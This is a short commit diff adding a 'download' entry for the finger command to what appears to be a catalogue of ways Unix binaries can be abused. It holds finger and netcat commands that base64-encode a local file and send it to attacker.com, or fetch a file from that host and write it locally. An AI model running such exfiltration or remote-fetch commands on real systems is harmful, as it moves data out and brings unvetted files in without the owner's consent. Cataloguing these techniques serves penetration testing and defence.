Add download to finger

master
Andrea Cardaci 2018-09-13 15:42:45 +02:00
parent 2e477b25de
commit b10791a840
1 changed files with 6 additions and 0 deletions

View File

@ -8,4 +8,10 @@ functions:
RHOST=attacker.com
LFILE=file_to_send
finger "$(base64 $LFILE)@$RHOST"
download:
- description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | sudo nc -l -p 79` on the attacker box to send the file.
code: |
RHOST=attacker.com
LFILE=file_to_save
finger x@$RHOST | base64 -d > "$LFILE"
---